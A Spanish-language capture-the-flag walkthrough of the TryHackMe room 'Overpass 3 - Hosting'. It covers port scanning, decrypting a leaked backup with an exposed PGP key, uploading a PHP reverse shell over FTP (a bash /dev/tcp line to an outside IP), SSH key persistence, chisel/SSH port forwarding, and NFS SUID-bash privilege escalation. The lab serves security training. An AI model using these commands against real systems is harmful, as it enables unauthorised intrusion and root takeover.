Overpass 3 - Hosting es una maquina de TryHackMe, es una serie de maquinas las cuales envuelven diferentes retos, en esta se presentan retos web y enumeracion para obtener acceso y credenciales para acceder al siguiente usuario. Se obtuvo el puerto NFS localmente donde obtuvimos la clave privada para SSH de otro usuario. Finalmente escalamos privilegios con Bash.
Room
Titulo |
Overpass 3 - Hosting |
Descripción |
You know them, you love them, your favourite group of broke computer science students have another business venture! Show them that they probably should hire someone for security… |
Puntos |
190 |
Dificultad |
Media |
Maker |
NinjaJc01 |
NMAP
Escaneo de puertos tcp, nmap nos muestra el puerto ftp (21), ssh (22) y el puerto http (80) abiertos.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
|
# Nmap 7.80 scan initiated Mon Jan 11 20:08:53 2021 as: nmap -p- --min-rate 1000 -o allPorts overpass.thm
Nmap scan report for overpass.thm (10.10.61.206)
Host is up (0.36s latency).
Not shown: 65532 filtered ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
# Nmap done at Mon Jan 11 20:11:05 2021 -- 1 IP address (1 host up) scanned in 132.11 seconds
# Nmap 7.80 scan initiated Mon Jan 11 20:11:31 2021 as: nmap -p 21,22,80 -sV -sC -o servicePorts overpass.thm
Nmap scan report for overpass.thm (10.10.61.206)
Host is up (0.31s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.0 (protocol 2.0)
| ssh-hostkey:
| 3072 de:5b:0e:b5:40:aa:43:4d:2a:83:31:14:20:77:9c:a1 (RSA)
| 256 f4:b5:a6:60:f4:d1:bf:e2:85:2e:2e:7e:5f:4c:ce:38 (ECDSA)
|_ 256 29:e6:61:09:ed:8a:88:2b:55:74:f2:b7:33:ae:df:c8 (ED25519)
80/tcp open http Apache httpd 2.4.37 ((centos))
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.37 (centos)
|_http-title: Overpass Hosting
Service Info: OS: Unix
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Jan 11 20:11:48 2021 -- 1 IP address (1 host up) scanned in 17.54 seconds
|
HTTP
Encontramos una pagina web en el puerto 80 donde vemos una descripcion de la “empresa” y de algunos posibles usuarios.
RUSTBUSTER
Utilizamos gobuster para busqueda de directorios y archivos.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
kali@kali:~/thm/overpass3$ /opt/rustbuster/rustbuster dir -u http://overpass.thm/ -w /usr/share/wordlists/dirb/common.txt -t 35 -e php,html,txt
~ rustbuster v3.0.3 ~ by phra & ps1dr3x ~
_ _ _ _ _ _ _ _ _ _
/\ \ /\_\ / /\ /\ \ / /\ /\_\ / /\ /\ \ /\ \ /\ \
/ \ \/ / / _ / / \ \_\ \ / / \ / / / _ / / \ \_\ \ / \ \ / \ \
/ /\ \ \ \ \__ /\_\/ / /\ \__ /\__ \ / / /\ \ \ \ \__ /\_\/ / /\ \__ /\__ \ / /\ \ \ / /\ \ \
/ / /\ \_\ \___\ / / / / /\ \___\/ /_ \ \ / / /\ \ \ \ \___\ / / / / /\ \___\/ /_ \ \ / / /\ \_\ / / /\ \_\
/ / /_/ / /\__ / / / /\ \ \ \/___/ / /\ \ \/ / /\ \_\ \ \__ / / / /\ \ \ \/___/ / /\ \ \/ /_/_ \/_/ / / /_/ / /
/ / /__\/ / / / / / / / \ \ \ / / / \/_/ / /\ \ \___\ / / / / / / \ \ \ / / / \/_/ /____/\ / / /__\/ /
/ / /_____/ / / / / / _ \ \ \ / / / / / / \ \ \__// / / / / _ \ \ \ / / / / /\____\/ / / /_____/
/ / /\ \ \ / / /___/ / /_/\__/ / / / / / / / /____\_\ \ / / /___/ / /_/\__/ / / / / / / / /______ / / /\ \ \
/ / / \ \ \/ / /____\/ /\ \/___/ / /_/ / / / /__________/ / /____\/ /\ \/___/ / /_/ / / / /_______/ / / \ \ \
\/_/ \_\/\/_________/ \_____\/ \_\/ \/_____________\/_________/ \_____\/ \_\/ \/__________\/_/ \_\/
[?] Started at : 2021-01-11 20:14:34
GET 403 Forbidden http://overpass.thm/.html
GET 200 OK http://overpass.thm/
GET 301 Moved Permanently http://overpass.thm/backups
=> http://overpass.thm/backups/
GET 403 Forbidden http://overpass.thm/cgi-bin/
GET 403 Forbidden http://overpass.thm/cgi-bin/.html
GET 200 OK http://overpass.thm/index.html
GET 200 OK http://overpass.thm/index.html
[00:02:33] ######################################## 18444/18444 ETA: 00:00:00 req/s: 120
[?] Ended at: 2021-01-11 20:17:08
|
Encontramos un directorio que contiene un archivo comprimido, este iñto,p tiene una clave y un archivo encriptado.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
|
kali@kali:~/thm/overpass3$ wget http://overpass.thm/backups/backup.zip
--2021-01-11 20:18:31-- http://overpass.thm/backups/backup.zip
Resolving overpass.thm (overpass.thm)... 10.10.61.206
Connecting to overpass.thm (overpass.thm)|10.10.61.206|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 13353 (13K) [application/zip]
Saving to: ‘backup.zip’
backup.zip 100%[========================================================================================================================================>] 13.04K 50.1KB/s in 0.3s
2021-01-11 20:18:32 (50.1 KB/s) - ‘backup.zip’ saved [13353/13353]
kali@kali:~/thm/overpass3$ unzip backup.zip
Archive: backup.zip
extracting: CustomerDetails.xlsx.gpg
inflating: priv.key
kali@kali:~/thm/overpass3$ ls
allPorts backup.zip CustomerDetails.xlsx.gpg priv.key servicePorts
kali@kali:~/thm/overpass3$ cat priv.key
-----BEGIN PGP PRIVATE KEY BLOCK-----
lQOYBF+oX7cBCADhibQ/m0CUX0DKreNOMaBiG6YNrkaRd5XKFfZ8cO+JbE57Yuao
T3uhxN396ICsRBG7VGK03YZVwafMFxx0ItIEuV8n9nQ9K6WJg6od815J3UkkSMU4
TL6E+iGiAvYUtxwo2s/NqAdrUcAqoa9ImUxqHjJByNNpLbTcfKJKzZZEdVH6Iuo7
qLoKwNJLK427CpDqTFJmOLoRVH9XDSMaVaP5MT4qn18/iSJGpFJY/Qjv2RdgygiS
[... SNIP ...]
Aj7qgO6j7r2GkMwPiVlXQRW/dnhtNzvaS1ZR47R7YeFQuIIFiWnt+mamWrM3TN8x
5yeHVycXbFyRO121lKB0/q7f9dVFN8UY92F5cfMPUAOjM59P8Nsx3rFLUAhi7Fyo
5YeN91WwbAtRyc33YmwK/SpOVarOOdEvrGFK2z1Tq++RpqzuYFfnZ868NXJP+99Q
wR1fzkFAFjEZIO+bteZLEzr9BCUI7FAyQofXMggwiuyuw/Prcema52nhJvA=
=mr8q
-----END PGP PRIVATE KEY BLOCK-----
kali@kali:~/thm/overpass3$
|
Importamos la clave y desencriptamos el archivo, este ultimo contiene Nombres, usuarios, contraseñas e informacion de tarjetas de “credito”.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
kali@kali:~/thm/overpass3$ gpg --import priv.key
gpg: /home/kali/.gnupg/trustdb.gpg: trustdb created
gpg: key C9AE71AB3180BC08: public key "Paradox <paradox@overpass.thm>" imported
gpg: key C9AE71AB3180BC08: secret key imported
gpg: Total number processed: 1
gpg: imported: 1
gpg: secret keys read: 1
gpg: secret keys imported: 1
kali@kali:~/thm/overpass3$ gpg -d CustomerDetails.xlsx.gpg > file.xlsx
gpg: encrypted with 2048-bit RSA key, ID 9E86A1C63FB96335, created 2020-11-08
"Paradox <paradox@overpass.thm>"
kali@kali:~/thm/overpass3$ file file.xlsx
file.xlsx: Microsoft Excel 2007+
kali@kali:~/thm/overpass3$
|
FTP
Con las credenciales que encontramos intentamos ingresar por el servicio FTP donde logramos ver los archivos de la pagina y comprobar que tenemos permisos (con el primer usuario) de escritura, es por ello que comprobamos que el archivo shinji.php
se muestra en la pagina.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
|
kali@kali:~/thm/overpass3$ ftp overpass.thm
Connected to overpass.thm.
220 (vsFTPd 3.0.3)
Name (overpass.thm:kali): [SPOILER]
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -lah
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxrwxrwx 3 48 48 94 Nov 17 23:54 .
drwxrwxrwx 3 48 48 94 Nov 17 23:54 ..
drwxr-xr-x 2 48 48 24 Nov 08 21:25 backups
-rw-r--r-- 1 0 0 65591 Nov 17 20:42 hallway.jpg
-rw-r--r-- 1 0 0 1770 Nov 17 20:42 index.html
-rw-r--r-- 1 0 0 576 Nov 17 20:42 main.css
-rw-r--r-- 1 0 0 2511 Nov 17 20:42 overpass.svg
226 Directory send OK.
ftp> pwd
257 "/" is the current directory
ftp> cd backups
250 Directory successfully changed.
ftp> ls -lah
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x 2 48 48 24 Nov 08 21:25 .
drwxrwxrwx 3 48 48 94 Nov 17 23:54 ..
-rw-r--r-- 1 48 48 13353 Nov 08 21:24 backup.zip
226 Directory send OK.
ftp> cd ..
250 Directory successfully changed.
ftp> put shinji.php
local: shinji.php remote: shinji.php
200 PORT command successful. Consider using PASV.
150 Ok to send data.
226 Transfer complete.
25 bytes sent in 0.00 secs (305.1758 kB/s)
ftp>
|
APACHE - USER
Subimos una shell inversa (ya que el servicio SSH no nos permitió ingresar), la “ejecutamos” y logramos obtener una shell con el usuario Apache
y nuestra flag web.flag
.
1
2
3
|
<?php
exec("bash -i >& /dev/tcp/10.10.10.10/1338 0>&1");
?>
|
PARADOX - USER
Utilizando la contraseña de paradox
logramos obtener una shell con este utilizando su
, pero al parecer la consola esta “limitada” por lo que agregamos nuestra clave publica al archivo authorized_keys
para poder ingresar por el servicio SSH y obtener una shell más comoda.
1
2
3
4
5
6
7
8
9
10
11
12
|
pwd
/home/paradox/.ssh
ls -lah
total 8.0K
drwx------ 2 paradox paradox 47 Nov 18 18:32 .
drwx------. 4 paradox paradox 203 Nov 18 18:29 ..
-rw------- 1 paradox paradox 583 Nov 18 18:29 authorized_keys
-rw-r--r-- 1 paradox paradox 583 Nov 18 18:29 id_rsa.pub
echo "ssh-rsa AAAAB3NzaC1yc2EAAAAD[... snip ...]EA8NHz17TjX/NsxObr9Q6ziiRgIc= kali@kali" >> authorized_keys
tail authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAB[... snip ...]8NHz17TjX/NsxObr9Q6ziiRgIc= kali@kali
|
JAMES NFS - USER
Enumeramos la maquina y encontramos puertos locales que no aparecen abiertos en nmap o aparecen filtrados, puertos que pertenecen RPC (111), NFS (2049) y MOUNTD (20048), al revisar si existia un punto de acceso encontramos la carpeta principal de James: /home/james
, y que, cualquiera tiene acceso. Pero existe un problema, estos puertos solo estan disponibles de manera local y para montar este punto de acceso es necesario privilegios root, es por eso que debemos de llevar estos puertos a nuestra maquina para poder montar el punto de acceso, poder listar y montarlo tal cual como lo muestra showmount -e
dentro de la maquina (/home/james
). Para ello utilizamos chisel
(ya que SSH no me permitia obtener el puerto 111) y SSH
.
1
2
3
4
5
6
7
8
|
#CHISEL en Overpass
./chisel client 10.2.29.162:8080 R:111:127.0.0.1:111
#Chisel en nuestra maquina
./chisel server -p 8080 --reverse
#SSH en nuestra maquina
ssh -L 2049:127.0.0.1:2049 -L 20048:127.0.0.1:20048 paradox@overpass.thm
|
En caso de que nuestra maquina no acepte el puerto 111 hay que parar el servicio rpcbind
1
2
|
systemctl stop rpcbind
systemctl stop rpcbind.socket
|
Revisamos que los puertos estan localmente y que existe el punto de acceso con showmount
.
Creamos una carpeta, montamos el punto de acceso con mount
.
1
2
3
4
5
|
#Creamos una carpeta
mkdir jamesstuff
#MOUNT
sudo mount -o nolock -t nfs localhost:/home/james /home/kali/thm/overpass3/jamesstuff/
|
Logramos obtener acceso a los archivos de James
, nuestra flag user.txt
y su clave privada de SSH la cual utilizamos para obtener una shell con este usuario.
PRIVILEGE ESCALATION
Ya que tenemos acceso a la carpeta de James
a traves de NFS vamos a copiar bash
con permisos root o SUID.
1
2
|
cp /bin/bash .
chmod +s bash
|
Ya que tenemos acceso a la maquina con el usuario James
ejecutamos bash -p
para obtener una shell con el usuario root y nuestra flag root.txt
.
NFS - UPDATE
No era necesario obtener el puerto 111 y 20048
, solo el puerto 2049
y montar directamente localhost:/
a la carpeta especificada.
1
2
3
4
5
|
#SSH - Puerto 2049
ssh -L 2049:127.0.0.1:2049 paradox@overpass.thm
#Mount
sudo mount -t nfs localhost:/ /home/kali/thm/overpass3/jamesstuff/
|
Links útiles: